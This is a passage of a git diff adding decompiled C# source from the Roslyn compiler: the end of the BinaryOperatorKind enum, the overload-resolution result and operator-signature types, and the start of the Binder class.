6, + Long = 7, + ULong = 8, + NInt = 9, + NUInt = 0xA, + Char = 0xB, + Float = 0xC, + Double = 0xD, + Decimal = 0xE, + Bool = 0xF, + Object = 0x10, + String = 0x11, + StringAndObject = 0x12, + ObjectAndString = 0x13, + Enum = 0x14, + EnumAndUnderlying = 0x15, + UnderlyingAndEnum = 0x16, + Delegate = 0x17, + Pointer = 0x18, + PointerAndInt = 0x19, + PointerAndUInt = 0x20, + PointerAndLong = 0x21, + PointerAndULong = 0x22, + IntAndPointer = 0x23, + UIntAndPointer = 0x24, + LongAndPointer = 0x25, + ULongAndPointer = 0x26, + NullableNull = 0x27, + UserDefined = 0x28, + Dynamic = 0x29, + Utf8 = 0x2A, + OpMask = 0xFF00, + Multiplication = 0x1000, + Addition = 0x1100, + Subtraction = 0x1200, + Division = 0x1300, + Remainder = 0x1400, + LeftShift = 0x1500, + RightShift = 0x1600, + Equal = 0x1700, + NotEqual = 0x1800, + GreaterThan = 0x1900, + LessThan = 0x1A00, + GreaterThanOrEqual = 0x1B00, + LessThanOrEqual = 0x1C00, + And = 0x1D00, + Xor = 0x1E00, + Or = 0x1F00, + UnsignedRightShift = 0x2000, + Lifted = 0x10000, + Logical = 0x20000, + Checked = 0x40000, + Error = 0, + IntMultiplication = 0x1005, + UIntMultiplication = 0x1006, + LongMultiplication = 0x1007, + ULongMultiplication = 0x1008, + NIntMultiplication = 0x1009, + NUIntMultiplication = 0x100A, + FloatMultiplication = 0x100C, + DoubleMultiplication = 0x100D, + DecimalMultiplication = 0x100E, + UserDefinedMultiplication = 0x1028, + LiftedIntMultiplication = 0x11005, + LiftedUIntMultiplication = 0x11006, + LiftedLongMultiplication = 0x11007, + LiftedULongMultiplication = 0x11008, + LiftedNIntMultiplication = 0x11009, + LiftedNUIntMultiplication = 0x1100A, + LiftedFloatMultiplication = 0x1100C, + LiftedDoubleMultiplication = 0x1100D, + LiftedDecimalMultiplication = 0x1100E, + LiftedUserDefinedMultiplication = 0x11028, + DynamicMultiplication = 0x1029, + IntDivision = 0x1305, + UIntDivision = 0x1306, + LongDivision = 0x1307, + ULongDivision = 0x1308, + NIntDivision = 0x1309, + NUIntDivision = 0x130A, + FloatDivision = 0x130C, + DoubleDivision = 0x130D, + DecimalDivision = 0x130E, + UserDefinedDivision = 0x1328, + LiftedIntDivision = 0x11305, + LiftedUIntDivision = 0x11306, + LiftedLongDivision = 0x11307, + LiftedULongDivision = 0x11308, + LiftedNIntDivision = 0x11309, + LiftedNUIntDivision = 0x1130A, + LiftedFloatDivision = 0x1130C, + LiftedDoubleDivision = 0x1130D, + LiftedDecimalDivision = 0x1130E, + LiftedUserDefinedDivision = 0x11328, + DynamicDivision = 0x1329, + IntRemainder = 0x1405, + UIntRemainder = 0x1406, + LongRemainder = 0x1407, + ULongRemainder = 0x1408, + NIntRemainder = 0x1409, + NUIntRemainder = 0x140A, + FloatRemainder = 0x140C, + DoubleRemainder = 0x140D, + DecimalRemainder = 0x140E, + UserDefinedRemainder = 0x1428, + LiftedIntRemainder = 0x11405, + LiftedUIntRemainder = 0x11406, + LiftedLongRemainder = 0x11407, + LiftedULongRemainder = 0x11408, + LiftedNIntRemainder = 0x11409, + LiftedNUIntRemainder = 0x1140A, + LiftedFloatRemainder = 0x1140C, + LiftedDoubleRemainder = 0x1140D, + LiftedDecimalRemainder = 0x1140E, + LiftedUserDefinedRemainder = 0x11428, + DynamicRemainder = 0x1429, + IntAddition = 0x1105, + UIntAddition = 0x1106, + LongAddition = 0x1107, + ULongAddition = 0x1108, + NIntAddition = 0x1109, + NUIntAddition = 0x110A, + FloatAddition = 0x110C, + DoubleAddition = 0x110D, + DecimalAddition = 0x110E, + EnumAndUnderlyingAddition = 0x1115, + UnderlyingAndEnumAddition = 0x1116, + UserDefinedAddition = 0x1128, + LiftedIntAddition = 0x11105, + LiftedUIntAddition = 0x11106, + LiftedLongAddition = 0x11107, + LiftedULongAddition = 0x11108, + LiftedNIntAddition = 0x11109, + LiftedNUIntAddition = 0x1110A, + LiftedFloatAddition = 0x1110C, + LiftedDoubleAddition = 0x1110D, + LiftedDecimalAddition = 0x1110E, + LiftedEnumAndUnderlyingAddition = 0x11115, + LiftedUnderlyingAndEnumAddition = 0x11116, + LiftedUserDefinedAddition = 0x11128, + PointerAndIntAddition = 0x1119, + PointerAndUIntAddition = 0x1120, + PointerAndLongAddition = 0x1121, + PointerAndULongAddition = 0x1122, + IntAndPointerAddition = 0x1123, + UIntAndPointerAddition = 0x1124, + LongAndPointerAddition = 0x1125, + ULongAndPointerAddition = 0x1126, + StringConcatenation = 0x1111, + StringAndObjectConcatenation = 0x1112, + ObjectAndStringConcatenation = 0x1113, + DelegateCombination = 0x1117, + DynamicAddition = 0x1129, + Utf8Addition = 0x112A, + IntSubtraction = 0x1205, + UIntSubtraction = 0x1206, + LongSubtraction = 0x1207, + ULongSubtraction = 0x1208, + NIntSubtraction = 0x1209, + NUIntSubtraction = 0x120A, + FloatSubtraction = 0x120C, + DoubleSubtraction = 0x120D, + DecimalSubtraction = 0x120E, + EnumSubtraction = 0x1214, + EnumAndUnderlyingSubtraction = 0x1215, + UnderlyingAndEnumSubtraction = 0x1216, + UserDefinedSubtraction = 0x1228, + LiftedIntSubtraction = 0x11205, + LiftedUIntSubtraction = 0x11206, + LiftedLongSubtraction = 0x11207, + LiftedULongSubtraction = 0x11208, + LiftedNIntSubtraction = 0x11209, + LiftedNUIntSubtraction = 0x1120A, + LiftedFloatSubtraction = 0x1120C, + LiftedDoubleSubtraction = 0x1120D, + LiftedDecimalSubtraction = 0x1120E, + LiftedEnumSubtraction = 0x11214, + LiftedEnumAndUnderlyingSubtraction = 0x11215, + LiftedUnderlyingAndEnumSubtraction = 0x11216, + LiftedUserDefinedSubtraction = 0x11228, + DelegateRemoval = 0x1217, + PointerAndIntSubtraction = 0x1219, + PointerAndUIntSubtraction = 0x1220, + PointerAndLongSubtraction = 0x1221, + PointerAndULongSubtraction = 0x1222, + PointerSubtraction = 0x1218, + DynamicSubtraction = 0x1229, + IntLeftShift = 0x1505, + UIntLeftShift = 0x1506, + LongLeftShift = 0x1507, + ULongLeftShift = 0x1508, + NIntLeftShift = 0x1509, + NUIntLeftShift = 0x150A, + UserDefinedLeftShift = 0x1528, + LiftedIntLeftShift = 0x11505, + LiftedUIntLeftShift = 0x11506, + LiftedLongLeftShift = 0x11507, + LiftedULongLeftShift = 0x11508, + LiftedNIntLeftShift = 0x11509, + LiftedNUIntLeftShift = 0x1150A, + LiftedUserDefinedLeftShift = 0x11528, + DynamicLeftShift = 0x1529, + IntRightShift = 0x1605, + UIntRightShift = 0x1606, + LongRightShift = 0x1607, + ULongRightShift = 0x1608, + NIntRightShift = 0x1609, + NUIntRightShift = 0x160A, + UserDefinedRightShift = 0x1628, + LiftedIntRightShift = 0x11605, + LiftedUIntRightShift = 0x11606, + LiftedLongRightShift = 0x11607, + LiftedULongRightShift = 0x11608, + LiftedNIntRightShift = 0x11609, + LiftedNUIntRightShift = 0x1160A, + LiftedUserDefinedRightShift = 0x11628, + DynamicRightShift = 0x1629, + IntUnsignedRightShift = 0x2005, + UIntUnsignedRightShift = 0x2006, + LongUnsignedRightShift = 0x2007, + ULongUnsignedRightShift = 0x2008, + NIntUnsignedRightShift = 0x2009, + NUIntUnsignedRightShift = 0x200A, + UserDefinedUnsignedRightShift = 0x2028, + LiftedIntUnsignedRightShift = 0x12005, + LiftedUIntUnsignedRightShift = 0x12006, + LiftedLongUnsignedRightShift = 0x12007, + LiftedULongUnsignedRightShift = 0x12008, + LiftedNIntUnsignedRightShift = 0x12009, + LiftedNUIntUnsignedRightShift = 0x1200A, + LiftedUserDefinedUnsignedRightShift = 0x12028, + IntEqual = 0x1705, + UIntEqual = 0x1706, + LongEqual = 0x1707, + ULongEqual = 0x1708, + NIntEqual = 0x1709, + NUIntEqual = 0x170A, + FloatEqual = 0x170C, + DoubleEqual = 0x170D, + DecimalEqual = 0x170E, + BoolEqual = 0x170F, + EnumEqual = 0x1714, + NullableNullEqual = 0x1727, + UserDefinedEqual = 0x1728, + LiftedIntEqual = 0x11705, + LiftedUIntEqual = 0x11706, + LiftedLongEqual = 0x11707, + LiftedULongEqual = 0x11708, + LiftedNIntEqual = 0x11709, + LiftedNUIntEqual = 0x1170A, + LiftedFloatEqual = 0x1170C, + LiftedDoubleEqual = 0x1170D, + LiftedDecimalEqual = 0x1170E, + LiftedBoolEqual = 0x1170F, + LiftedEnumEqual = 0x11714, + LiftedUserDefinedEqual = 0x11728, + ObjectEqual = 0x1710, + StringEqual = 0x1711, + DelegateEqual = 0x1717, + PointerEqual = 0x1718, + DynamicEqual = 0x1729, + IntNotEqual = 0x1805, + UIntNotEqual = 0x1806, + LongNotEqual = 0x1807, + ULongNotEqual = 0x1808, + NIntNotEqual = 0x1809, + NUIntNotEqual = 0x180A, + FloatNotEqual = 0x180C, + DoubleNotEqual = 0x180D, + DecimalNotEqual = 0x180E, + BoolNotEqual = 0x180F, + EnumNotEqual = 0x1814, + NullableNullNotEqual = 0x1827, + UserDefinedNotEqual = 0x1828, + LiftedIntNotEqual = 0x11805, + LiftedUIntNotEqual = 0x11806, + LiftedLongNotEqual = 0x11807, + LiftedULongNotEqual = 0x11808, + LiftedNIntNotEqual = 0x11809, + LiftedNUIntNotEqual = 0x1180A, + LiftedFloatNotEqual = 0x1180C, + LiftedDoubleNotEqual = 0x1180D, + LiftedDecimalNotEqual = 0x1180E, + LiftedBoolNotEqual = 0x1180F, + LiftedEnumNotEqual = 0x11814, + LiftedUserDefinedNotEqual = 0x11828, + ObjectNotEqual = 0x1810, + StringNotEqual = 0x1811, + DelegateNotEqual = 0x1817, + PointerNotEqual = 0x1818, + DynamicNotEqual = 0x1829, + IntLessThan = 0x1A05, + UIntLessThan = 0x1A06, + LongLessThan = 0x1A07, + ULongLessThan = 0x1A08, + NIntLessThan = 0x1A09, + NUIntLessThan = 0x1A0A, + FloatLessThan = 0x1A0C, + DoubleLessThan = 0x1A0D, + DecimalLessThan = 0x1A0E, + EnumLessThan = 0x1A14, + UserDefinedLessThan = 0x1A28, + LiftedIntLessThan = 0x11A05, + LiftedUIntLessThan = 0x11A06, + LiftedLongLessThan = 0x11A07, + LiftedULongLessThan = 0x11A08, + LiftedNIntLessThan = 0x11A09, + LiftedNUIntLessThan = 0x11A0A, + LiftedFloatLessThan = 0x11A0C, + LiftedDoubleLessThan = 0x11A0D, + LiftedDecimalLessThan = 0x11A0E, + LiftedEnumLessThan = 0x11A14, + LiftedUserDefinedLessThan = 0x11A28, + PointerLessThan = 0x1A18, + DynamicLessThan = 0x1A29, + IntGreaterThan = 0x1905, + UIntGreaterThan = 0x1906, + LongGreaterThan = 0x1907, + ULongGreaterThan = 0x1908, + NIntGreaterThan = 0x1909, + NUIntGreaterThan = 0x190A, + FloatGreaterThan = 0x190C, + DoubleGreaterThan = 0x190D, + DecimalGreaterThan = 0x190E, + EnumGreaterThan = 0x1914, + UserDefinedGreaterThan = 0x1928, + LiftedIntGreaterThan = 0x11905, + LiftedUIntGreaterThan = 0x11906, + LiftedLongGreaterThan = 0x11907, + LiftedULongGreaterThan = 0x11908, + LiftedNIntGreaterThan = 0x11909, + LiftedNUIntGreaterThan = 0x1190A, + LiftedFloatGreaterThan = 0x1190C, + LiftedDoubleGreaterThan = 0x1190D, + LiftedDecimalGreaterThan = 0x1190E, + LiftedEnumGreaterThan = 0x11914, + LiftedUserDefinedGreaterThan = 0x11928, + PointerGreaterThan = 0x1918, + DynamicGreaterThan = 0x1929, + IntLessThanOrEqual = 0x1C05, + UIntLessThanOrEqual = 0x1C06, + LongLessThanOrEqual = 0x1C07, + ULongLessThanOrEqual = 0x1C08, + NIntLessThanOrEqual = 0x1C09, + NUIntLessThanOrEqual = 0x1C0A, + FloatLessThanOrEqual = 0x1C0C, + DoubleLessThanOrEqual = 0x1C0D, + DecimalLessThanOrEqual = 0x1C0E, + EnumLessThanOrEqual = 0x1C14, + UserDefinedLessThanOrEqual = 0x1C28, + LiftedIntLessThanOrEqual = 0x11C05, + LiftedUIntLessThanOrEqual = 0x11C06, + LiftedLongLessThanOrEqual = 0x11C07, + LiftedULongLessThanOrEqual = 0x11C08, + LiftedNIntLessThanOrEqual = 0x11C09, + LiftedNUIntLessThanOrEqual = 0x11C0A, + LiftedFloatLessThanOrEqual = 0x11C0C, + LiftedDoubleLessThanOrEqual = 0x11C0D, + LiftedDecimalLessThanOrEqual = 0x11C0E, + LiftedEnumLessThanOrEqual = 0x11C14, + LiftedUserDefinedLessThanOrEqual = 0x11C28, + PointerLessThanOrEqual = 0x1C18, + DynamicLessThanOrEqual = 0x1C29, + IntGreaterThanOrEqual = 0x1B05, + UIntGreaterThanOrEqual = 0x1B06, + LongGreaterThanOrEqual = 0x1B07, + ULongGreaterThanOrEqual = 0x1B08, + NIntGreaterThanOrEqual = 0x1B09, + NUIntGreaterThanOrEqual = 0x1B0A, + FloatGreaterThanOrEqual = 0x1B0C, + DoubleGreaterThanOrEqual = 0x1B0D, + DecimalGreaterThanOrEqual = 0x1B0E, + EnumGreaterThanOrEqual = 0x1B14, + UserDefinedGreaterThanOrEqual = 0x1B28, + LiftedIntGreaterThanOrEqual = 0x11B05, + LiftedUIntGreaterThanOrEqual = 0x11B06, + LiftedLongGreaterThanOrEqual = 0x11B07, + LiftedULongGreaterThanOrEqual = 0x11B08, + LiftedNIntGreaterThanOrEqual = 0x11B09, + LiftedNUIntGreaterThanOrEqual = 0x11B0A, + LiftedFloatGreaterThanOrEqual = 0x11B0C, + LiftedDoubleGreaterThanOrEqual = 0x11B0D, + LiftedDecimalGreaterThanOrEqual = 0x11B0E, + LiftedEnumGreaterThanOrEqual = 0x11B14, + LiftedUserDefinedGreaterThanOrEqual = 0x11B28, + PointerGreaterThanOrEqual = 0x1B18, + DynamicGreaterThanOrEqual = 0x1B29, + IntAnd = 0x1D05, + UIntAnd = 0x1D06, + LongAnd = 0x1D07, + ULongAnd = 0x1D08, + NIntAnd = 0x1D09, + NUIntAnd = 0x1D0A, + EnumAnd = 0x1D14, + BoolAnd = 0x1D0F, + UserDefinedAnd = 0x1D28, + LiftedIntAnd = 0x11D05, + LiftedUIntAnd = 0x11D06, + LiftedLongAnd = 0x11D07, + LiftedULongAnd = 0x11D08, + LiftedNIntAnd = 0x11D09, + LiftedNUIntAnd = 0x11D0A, + LiftedEnumAnd = 0x11D14, + LiftedBoolAnd = 0x11D0F, + LiftedUserDefinedAnd = 0x11D28, + DynamicAnd = 0x1D29, + LogicalAnd = 0x21D00, + LogicalBoolAnd = 0x21D0F, + LogicalUserDefinedAnd = 0x21D28, + DynamicLogicalAnd = 0x21D29, + IntOr = 0x1F05, + UIntOr = 0x1F06, + LongOr = 0x1F07, + ULongOr = 0x1F08, + NIntOr = 0x1F09, + NUIntOr = 0x1F0A, + EnumOr = 0x1F14, + BoolOr = 0x1F0F, + UserDefinedOr = 0x1F28, + LiftedIntOr = 0x11F05, + LiftedUIntOr = 0x11F06, + LiftedLongOr = 0x11F07, + LiftedULongOr = 0x11F08, + LiftedNIntOr = 0x11F09, + LiftedNUIntOr = 0x11F0A, + LiftedEnumOr = 0x11F14, + LiftedBoolOr = 0x11F0F, + LiftedUserDefinedOr = 0x11F28, + DynamicOr = 0x1F29, + LogicalOr = 0x21F00, + LogicalBoolOr = 0x21F0F, + LogicalUserDefinedOr = 0x21F28, + DynamicLogicalOr = 0x21F29, + IntXor = 0x1E05, + UIntXor = 0x1E06, + LongXor = 0x1E07, + ULongXor = 0x1E08, + NIntXor = 0x1E09, + NUIntXor = 0x1E0A, + EnumXor = 0x1E14, + BoolXor = 0x1E0F, + UserDefinedXor = 0x1E28, + LiftedIntXor = 0x11E05, + LiftedUIntXor = 0x11E06, + LiftedLongXor = 0x11E07, + LiftedULongXor = 0x11E08, + LiftedNIntXor = 0x11E09, + LiftedNUIntXor = 0x11E0A, + LiftedEnumXor = 0x11E14, + LiftedBoolXor = 0x11E0F, + LiftedUserDefinedXor = 0x11E28, + DynamicXor = 0x1E29 +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BinaryOperatorOverloadResolutionResult.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BinaryOperatorOverloadResolutionResult.cs new file mode 100644 index 0000000..44285ab --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BinaryOperatorOverloadResolutionResult.cs @@ -0,0 +1,95 @@ +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BinaryOperatorOverloadResolutionResult +{ + public readonly ArrayBuilder Results; + + public static readonly ObjectPool Pool = CreatePool(); + + public BinaryOperatorAnalysisResult Best + { + get + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + BinaryOperatorAnalysisResult result = default(BinaryOperatorAnalysisResult); + Enumerator enumerator = Results.GetEnumerator(); + while (enumerator.MoveNext()) + { + BinaryOperatorAnalysisResult current = enumerator.Current; + if (current.IsValid) + { + if (result.IsValid) + { + return default(BinaryOperatorAnalysisResult); + } + result = current; + } + } + return result; + } + } + + private BinaryOperatorOverloadResolutionResult() + { + Results = new ArrayBuilder(10); + } + + public bool AnyValid() + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + Enumerator enumerator = Results.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current.IsValid) + { + return true; + } + } + return false; + } + + public bool SingleValid() + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + bool flag = false; + Enumerator enumerator = Results.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current.IsValid) + { + if (flag) + { + return false; + } + flag = true; + } + } + return flag; + } + + public static BinaryOperatorOverloadResolutionResult GetInstance() + { + return Pool.Allocate(); + } + + public void Free() + { + Clear(); + Pool.Free(this); + } + + public void Clear() + { + Results.Clear(); + } + + private static ObjectPool CreatePool() + { + return new ObjectPool((Factory)(() => new BinaryOperatorOverloadResolutionResult()), 10, true); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BinaryOperatorSignature.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BinaryOperatorSignature.cs new file mode 100644 index 0000000..1c919c8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BinaryOperatorSignature.cs @@ -0,0 +1,112 @@ +using System; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal struct BinaryOperatorSignature : IEquatable +{ + public static BinaryOperatorSignature Error; + + public readonly TypeSymbol LeftType; + + public readonly TypeSymbol RightType; + + public readonly TypeSymbol ReturnType; + + public readonly MethodSymbol Method; + + public readonly TypeSymbol ConstrainedToTypeOpt; + + public readonly BinaryOperatorKind Kind; + + public int? Priority; + + public RefKind LeftRefKind + { + get + { + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + if ((object)Method == null || Method.ParameterRefKinds.IsDefaultOrEmpty) + { + return (RefKind)0; + } + return Method.ParameterRefKinds[0]; + } + } + + public RefKind RightRefKind + { + get + { + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + if ((object)Method == null || Method.ParameterRefKinds.IsDefaultOrEmpty) + { + return (RefKind)0; + } + return Method.ParameterRefKinds[1]; + } + } + + public BinaryOperatorSignature(BinaryOperatorKind kind, TypeSymbol leftType, TypeSymbol rightType, TypeSymbol returnType) + { + Kind = kind; + LeftType = leftType; + RightType = rightType; + ReturnType = returnType; + Method = null; + ConstrainedToTypeOpt = null; + Priority = null; + } + + public BinaryOperatorSignature(BinaryOperatorKind kind, TypeSymbol leftType, TypeSymbol rightType, TypeSymbol returnType, MethodSymbol method, TypeSymbol constrainedToTypeOpt) + { + Kind = kind; + LeftType = leftType; + RightType = rightType; + ReturnType = returnType; + Method = method; + ConstrainedToTypeOpt = constrainedToTypeOpt; + Priority = null; + } + + public override string ToString() + { + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + return string.Format("kind: {0} leftType: {1} leftRefKind: {2} rightType: {3} rightRefKind: {4} return: {5}", new object[6] { Kind, LeftType, LeftRefKind, RightType, RightRefKind, ReturnType }); + } + + public bool Equals(BinaryOperatorSignature other) + { + if (Kind == other.Kind && TypeSymbol.Equals(LeftType, other.LeftType, (TypeCompareKind)0) && TypeSymbol.Equals(RightType, other.RightType, (TypeCompareKind)0) && TypeSymbol.Equals(ReturnType, other.ReturnType, (TypeCompareKind)0)) + { + return Method == other.Method; + } + return false; + } + + public static bool operator ==(BinaryOperatorSignature x, BinaryOperatorSignature y) + { + return x.Equals(y); + } + + public static bool operator !=(BinaryOperatorSignature x, BinaryOperatorSignature y) + { + return !x.Equals(y); + } + + public override bool Equals(object obj) + { + if (obj is BinaryOperatorSignature) + { + return Equals((BinaryOperatorSignature)obj); + } + return false; + } + + public override int GetHashCode() + { + return Hash.Combine(ReturnType, Hash.Combine(LeftType, Hash.Combine(RightType, Hash.Combine(Method, (int)Kind)))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/Binder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/Binder.cs new file mode 100644 index 0000000..d76489b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/Binder.cs @@ -0,0 +1,32910 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics; +using System.Diagnostics.CodeAnalysis; +using System.Linq; +using System.Runtime.CompilerServices; +using System.Text; +using System.Threading; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.CodeGen; +using Microsoft.CodeAnalysis.CSharp.Emit.NoPia; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.Collections; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.RuntimeMembers; +using Microsoft.CodeAnalysis.Symbols; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal class Binder +{ + internal sealed class CapturedParametersFinder : IdentifierUsedAsValueFinder + { + private readonly SynthesizedPrimaryConstructor _primaryConstructor; + + private readonly HashSet _namesToCheck; + + private readonly ArrayBuilder _captured; + + private CapturedParametersFinder(SynthesizedPrimaryConstructor primaryConstructor, HashSet namesToCheck, ArrayBuilder captured) + { + _primaryConstructor = primaryConstructor; + _namesToCheck = namesToCheck; + _captured = captured; + } + + public static IReadOnlyDictionary GetCapturedParameters(SynthesizedPrimaryConstructor primaryConstructor) + { + //IL_00df: Unknown result type (might be due to invalid IL or missing references) + //IL_00e4: Unknown result type (might be due to invalid IL or missing references) + PooledHashSet instance = PooledHashSet.GetInstance(); + addParameterNames(instance); + if (((HashSet)(object)instance).Count == 0) + { + instance.Free(); + return SpecializedCollections.EmptyReadOnlyDictionary(); + } + ArrayBuilder instance2 = ArrayBuilder.GetInstance(primaryConstructor.Parameters.Length); + CapturedParametersFinder finder = new CapturedParametersFinder(primaryConstructor, (HashSet)(object)instance, instance2); + SourceMemberContainerTypeSymbol containingType = primaryConstructor.ContainingType; + foreach (SourceMemberMethodSymbol methodsPossiblyCapturingPrimaryConstructorParameter in containingType.GetMethodsPossiblyCapturingPrimaryConstructorParameters()) + { + getBodyBinderAndSyntax(methodsPossiblyCapturingPrimaryConstructorParameter, out var bodyBinder, out var syntaxNode); + if (bodyBinder != null && !checkParameterReferencesInMethodBody(syntaxNode, bodyBinder)) + { + break; + } + } + finder.Free(); + instance.Free(); + if (instance2.Count == 0) + { + instance2.Free(); + return SpecializedCollections.EmptyReadOnlyDictionary(); + } + Dictionary dictionary = new Dictionary((IEqualityComparer?)ReferenceEqualityComparer.Instance); + Enumerator enumerator2 = instance2.GetEnumerator(); + while (enumerator2.MoveNext()) + { + ParameterSymbol current = enumerator2.Current; + dictionary.Add(current, new SynthesizedPrimaryConstructorParameterBackingFieldSymbol(current, GeneratedNames.MakePrimaryConstructorParameterFieldName(current.Name), containingType.IsReadOnly)); + } + instance2.Free(); + return dictionary; + void addParameterNames(PooledHashSet namesToCheck) + { + ImmutableArray.Enumerator enumerator3 = primaryConstructor.Parameters.GetEnumerator(); + while (enumerator3.MoveNext()) + { + ParameterSymbol current2 = enumerator3.Current; + if (current2.Name.Length != 0) + { + ((HashSet)(object)namesToCheck).Add(current2.Name); + } + } + } + bool checkParameterReferencesInMethodBody(CSharpSyntaxNode cSharpSyntaxNode, Binder binder) + { + if (cSharpSyntaxNode is ConstructorDeclarationSyntax constructorDeclarationSyntax) + { + if (finder.CheckIdentifiersInNode(constructorDeclarationSyntax.Initializer, binder) && finder.CheckIdentifiersInNode(constructorDeclarationSyntax.Body, binder)) + { + return finder.CheckIdentifiersInNode(constructorDeclarationSyntax.ExpressionBody, binder); + } + return false; + } + if (cSharpSyntaxNode is BaseMethodDeclarationSyntax baseMethodDeclarationSyntax) + { + if (finder.CheckIdentifiersInNode(baseMethodDeclarationSyntax.Body, binder)) + { + return finder.CheckIdentifiersInNode(baseMethodDeclarationSyntax.ExpressionBody, binder); + } + return false; + } + if (cSharpSyntaxNode is AccessorDeclarationSyntax accessorDeclarationSyntax) + { + if (finder.CheckIdentifiersInNode(accessorDeclarationSyntax.Body, binder)) + { + return finder.CheckIdentifiersInNode(accessorDeclarationSyntax.ExpressionBody, binder); + } + return false; + } + if (cSharpSyntaxNode is ArrowExpressionClauseSyntax node) + { + return finder.CheckIdentifiersInNode(node, binder); + } + throw ExceptionUtilities.UnexpectedValue((object)cSharpSyntaxNode); + } + static void getBodyBinderAndSyntax(SourceMemberMethodSymbol sourceMethod, out Binder? reference, out CSharpSyntaxNode? reference2) + { + reference = null; + reference2 = null; + reference = sourceMethod.TryGetBodyBinder(); + if (reference != null) + { + reference2 = sourceMethod.SyntaxNode; + } + } + } + + protected override bool IsIdentifierOfInterest(IdentifierNameSyntax id) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + HashSet namesToCheck = _namesToCheck; + SyntaxToken identifier = id.Identifier; + return namesToCheck.Contains(((SyntaxToken)(ref identifier)).ValueText); + } + + protected override bool CheckAndClearLookupResult(Binder enclosingBinder, IdentifierNameSyntax id, LookupResult lookupResult) + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_00e6: Unknown result type (might be due to invalid IL or missing references) + //IL_00eb: Unknown result type (might be due to invalid IL or missing references) + if (lookupResult.IsMultiViable) + { + bool? flag = null; + bool flag2 = false; + Enumerator enumerator = lookupResult.Symbols.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (!(enumerator.Current is ParameterSymbol parameterSymbol) || (object)parameterSymbol.ContainingSymbol != _primaryConstructor) + { + continue; + } + bool valueOrDefault = flag == true; + if (!flag.HasValue) + { + valueOrDefault = enclosingBinder.IsInsideNameof; + flag = valueOrDefault; + } + if (flag == true) + { + break; + } + if (lookupResult.IsSingleViable && IdentifierUsedAsValueFinder.isTypeOrValueReceiver(enclosingBinder, id, parameterSymbol.Type, out SyntaxNode memberAccessNode, out string memberName, out int targetMemberArity, out bool invoked)) + { + lookupResult.Clear(); + if (IdentifierUsedAsValueFinder.TreatAsInstanceMemberAccess(enclosingBinder, parameterSymbol.Type, memberAccessNode, memberName, targetMemberArity, invoked, lookupResult)) + { + _captured.Add(parameterSymbol); + flag2 = true; + } + break; + } + _captured.Add(parameterSymbol); + flag2 = true; + } + if (flag2) + { + HashSet namesToCheck = _namesToCheck; + SyntaxToken identifier = id.Identifier; + namesToCheck.Remove(((SyntaxToken)(ref identifier)).ValueText); + if (_namesToCheck.Count == 0) + { + return false; + } + } + } + lookupResult.Clear(); + return true; + } + } + + internal abstract class IdentifierUsedAsValueFinder + { + private LookupResult? _lookupResult; + + protected void Free() + { + _lookupResult?.Free(); + } + + protected bool CheckIdentifiersInNode(CSharpSyntaxNode? node, Binder binder) + { + if (node == null) + { + return true; + } + foreach (SyntaxNode item in ((SyntaxNode)node).DescendantNodesAndSelf((Func)childrenNeedChecking, false)) + { + Binder enclosingBinder = getEnclosingBinderForNode(node, binder, item); + if (!(item is AnonymousFunctionExpressionSyntax lambdaSyntax)) + { + if (!(item is IdentifierNameSyntax identifierNameSyntax)) + { + if (!(item is QueryExpressionSyntax query) || CheckQuery(query, enclosingBinder)) + { + continue; + } + return false; + } + CSharpSyntaxNode parent = identifierNameSyntax.Parent; + if (!(parent is MemberAccessExpressionSyntax memberAccessExpressionSyntax)) + { + if (!(parent is QualifiedNameSyntax qualifiedNameSyntax)) + { + if (parent is AssignmentExpressionSyntax assignmentExpressionSyntax) + { + bool flag = assignmentExpressionSyntax.Left == identifierNameSyntax; + if (flag) + { + bool flag2; + switch (assignmentExpressionSyntax.Parent?.Kind()) + { + case SyntaxKind.ObjectInitializerExpression: + case SyntaxKind.WithInitializerExpression: + flag2 = true; + break; + default: + flag2 = false; + break; + } + flag = flag2; + } + if (flag) + { + continue; + } + } + } + else if (qualifiedNameSyntax.Left != identifierNameSyntax) + { + continue; 